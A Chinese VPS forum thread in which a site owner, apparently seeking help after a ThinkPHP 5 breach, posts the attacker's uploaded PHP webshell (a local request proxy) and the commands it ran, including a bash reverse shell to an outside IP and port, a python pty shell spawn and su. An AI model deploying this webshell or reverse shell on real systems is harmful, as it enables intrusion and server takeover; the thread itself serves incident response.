VPS侦探论坛

 找回密码
 注册
查看: 58|回复: 2

最近被入侵了,各位看看有没有什么好访问,入侵过程

[复制链接]
发表于 2024-8-30 15:33:57 | 显示全部楼层 |阅读模式

由于用了老版本thinkphp被入侵了,然后上传了php文件,现在问题如果只是入侵一个站也就算了,目前入侵后竟然可以拿到服务器权限,
代码如下
  1. <?php
  2. function get_client_header(){
  3.     $headers=array();
  4.     foreach($_SERVER as $k=>$v){
  5.         if(strpos($k,'HTTP_')===0){
  6.             $k=strtolower(preg_replace('/^HTTP/', '', $k));
  7.             $k=preg_replace_callback('/_\w/','header_callback',$k);
  8.             $k=preg_replace('/^_/','',$k);
  9.             $k=str_replace('_','-',$k);
  10.             if($k=='Host') continue;
  11.             $headers[]="$k:$v";
  12.         }
  13.     }
  14.     return $headers;
  15. }
  16. function header_callback($str){
  17.     return strtoupper($str[0]);
  18. }
  19. function parseHeader($sResponse){
  20.     list($headerstr,$sResponse)=explode("



  21. ",$sResponse, 2);
  22.     $ret=array($headerstr,$sResponse);
  23.     if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){
  24.         $ret=parseHeader($sResponse);
  25.     }
  26.     return $ret;
  27. }

  28. set_time_limit(120);
  29. $headers=get_client_header();
  30. $host = "127.0.0.1";
  31. $port = 62235;
  32. $errno = '';
  33. $errstr = '';
  34. $timeout = 30;
  35. $url = "/1.php";

  36. if (!empty($_SERVER['QUERY_STRING'])){
  37.     $url .= "?".$_SERVER['QUERY_STRING'];
  38. };

  39. $fp = fsockopen($host, $port, $errno, $errstr, $timeout);
  40. if(!$fp){
  41.     return false;
  42. }

  43. $method = "GET";
  44. $post_data = "";
  45. if($_SERVER['REQUEST_METHOD']=='POST') {
  46.     $method = "POST";
  47.     $post_data = file_get_contents('php://input');
  48. }

  49. $out = $method." ".$url." HTTP/1.1\r\n";
  50. $out .= "Host: ".$host.":".$port."\r\n";
  51. if (!empty($_SERVER['CONTENT_TYPE'])) {
  52.     $out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n";
  53. }
  54. $out .= "Content-length:".strlen($post_data)."\r\n";

  55. $out .= implode("\r\n",$headers);
  56. $out .= "\r\n\r\n";
  57. $out .= "".$post_data;

  58. fputs($fp, $out);

  59. $response = '';
  60. while($row=fread($fp, 4096)){
  61.     $response .= $row;
  62. }
  63. fclose($fp);
  64. $pos = strpos($response, "\r\n\r\n");
  65. $response = substr($response, $pos+4);
  66. echo $response;
复制代码

然后上传了一个so后缀文件这个就不上传了,提权用的,
运行命令如下
  1. /bin/sh -c cd /data/114/sp/public;bash -i >& /dev/tcp/47.104.86.101/39553 0>&1;echo 8087a12ec;pwd;echo 5cd09d5a4e86
  2. bash -i
  3. python -c import pty;pty.spawn('/bin/bash')
  4. /bin/bash
  5. /bin/sh
  6. su -
  7. -bash
复制代码

如果学习可自行百度命令意思

目前怎么防止入侵后网站后提权获取到服务器权限,高手指点一下谢谢
特别说明网站限制.user.ini是没有用的
人家直接提权获取服务器权限





美国VPS推荐: 遨游主机LinodeLOCVPS主机云搬瓦工80VPSVultr美国VPS主机中国VPS推荐: 阿里云腾讯云。LNMP付费服务(代装/问题排查)QQ 503228080
 楼主| 发表于 2024-8-30 16:19:28 | 显示全部楼层


网站入侵的是thinkphp5的漏洞_index.php?s=captcha
Linux下Nginx+MySQL+PHP自动安装工具:https://lnmp.org
 楼主| 发表于 2024-8-30 18:24:19 | 显示全部楼层

目前测试一下他的木马,user.ini也限制不了目录,可以随意上传文件到任何目录,这php被入侵了,真是把服务器给别人了,好不安全
美国VPS推荐: 遨游主机LinodeLOCVPS主机云搬瓦工80VPSVultr美国VPS主机中国VPS推荐: 阿里云腾讯云。LNMP付费服务(代装/问题排查)QQ 503228080
您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|Archiver|VPS侦探 ( 鲁ICP备16040043号-1 )

GMT+8, 2024-9-17 02:59 , Processed in 0.026202 second(s), 17 queries .

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表